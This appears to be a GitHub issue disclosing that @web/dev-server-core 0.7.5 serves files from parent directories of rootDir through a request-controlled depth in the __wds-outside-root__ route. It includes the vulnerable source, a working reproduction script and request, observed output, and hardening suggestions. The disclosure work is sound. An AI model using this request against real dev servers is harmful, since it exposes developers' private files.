Skip to content

Question: should __wds-outside-root__ allow direct HTTP reads from arbitrary rootDir parents? #3117

Description

@Dremig

Hi maintainers,

I found that @web/dev-server-core can serve files from parent directories of the configured rootDir through direct requests to the __wds-outside-root__ route.

I understand that serving files outside rootDir may be an intentional feature for monorepos, symlinks, or files imported from outside the project root. My concern is narrower: the current implementation appears to let any HTTP client choose the parent-directory depth directly in the URL, without checking whether that outside-root path was generated by the dev server or explicitly allowed.

Summary

@web/dev-server-core@0.7.5 exposes a route under:

/__wds-outside-root__/<depth>/<path>

The <depth> component is taken from the request path and used to move the static file root upward from the configured rootDir. A direct request can therefore read files from rootDir parent directories.

If this behavior is fully intentional, feel free to close this as expected behavior. If outside-root serving is intended only for server-generated URLs or explicitly known files, this may be worth tightening.

Affected version

Tested version:

@web/dev-server-core@0.7.5

This is the latest npm version I tested.

Relevant code

In packages/dev-server-core/src/middleware/serveFilesMiddleware.ts, requests whose path starts with __wds-outside-root__ are handled by resolving a custom root directory and passing it to koa-send:

const serveCustomRootDirMiddleware: Middleware = async (ctx, next) => {
  if (isOutsideRootDir(ctx.path)) {
    const { normalizedPath, newRootDir } = resolvePathOutsideRootDir(ctx.path, rootDir);
    await send(ctx, normalizedPath, { ...koaStaticOptions, root: newRootDir });
    return;
  }
  return next();
};

Relevant source:

packages/dev-server-core/src/middleware/serveFilesMiddleware.ts:22-25

The custom root directory is calculated in packages/dev-server-core/src/utils.ts:

export function resolvePathOutsideRootDir(browserPath: string, rootDir: string) {
  const [, , depthString] = browserPath.split('/');
  const depth = Number(depthString);
  if (depth == null || Number.isNaN(depth)) {
    throw new Error(`Invalid wds-root-dir path: ${path}`);
  }

  const normalizedPath = browserPath.replace(`${OUTSIDE_ROOT_KEY}${depth}`, '');
  const newRootDir = path.resolve(rootDir, `..${path.sep}`.repeat(depth));

  return { normalizedPath, newRootDir };
}

Relevant source:

packages/dev-server-core/src/utils.ts:126-136

The concern is that depth is request-controlled. For example, if rootDir is:

/tmp/project/root

then this request:

/__wds-outside-root__/1/secret.txt

uses /tmp/project as the new static root and serves:

/tmp/project/secret.txt

Reproduction

set -eu

rm -rf /tmp/web-dev-server-core-poc
mkdir -p /tmp/web-dev-server-core-poc
cd /tmp/web-dev-server-core-poc

npm init -y >/dev/null
npm install @web/dev-server-core@0.7.5 >/dev/null

node - <<'NODE'
const { DevServer } = require("@web/dev-server-core");
const fs = require("fs");
const os = require("os");
const path = require("path");

const sleep = ms => new Promise(resolve => setTimeout(resolve, ms));

(async () => {
  const base = fs.mkdtempSync(path.join(os.tmpdir(), "wds-pt-"));
  const root = path.join(base, "root");

  fs.mkdirSync(root);
  fs.writeFileSync(path.join(base, "secret.txt"), "SECRET_FROM_PARENT");
  fs.writeFileSync(path.join(root, "index.html"), "ROOT_INDEX");

  const server = new DevServer(
    {
      rootDir: root,
      port: 8124,
      hostname: "127.0.0.1",
      middleware: [],
      plugins: []
    },
    console
  );

  await server.start();
  await sleep(300);

  const url = "http://127.0.0.1:8124/__wds-outside-root__/1/secret.txt";
  const response = await fetch(url);

  console.log("status:", response.status);
  console.log("body:", await response.text());

  await server.stop();
})();
NODE

Observed output:

Receiving request: /__wds-outside-root__/1/secret.txt
Responding to request: /__wds-outside-root__/1/secret.txt with status 200
status: 200
body: SECRET_FROM_PARENT

The file is outside the configured rootDir, but a direct HTTP request can still retrieve it.

Why this might matter

If the dev server is reachable by another local process, a browser, a malicious web page through localhost requests, or a network peer when bound more broadly, direct access to parent directories may expose files that the project did not intend to serve.

The practical impact depends on where rootDir is located. For example, for a nested project root such as:

/home/user/project/app

the route can expose files under:

/home/user/project

and larger depth values can move higher up the filesystem tree.

Possible hardening

If direct arbitrary outside-root reads are not intended, possible mitigations could include:

  • Only allowing outside-root URLs generated by the dev server for known files.
  • Keeping an allowlist/map of explicitly permitted outside-root directories.
  • Rejecting request-controlled depths that do not correspond to an approved outside-root path.
  • Resolving the final file path and enforcing containment against an approved root using path.relative().
  • Returning 403/404 for direct __wds-outside-root__ requests that were not generated by an internal resolution step.

Thanks for taking a look.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Fields

    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions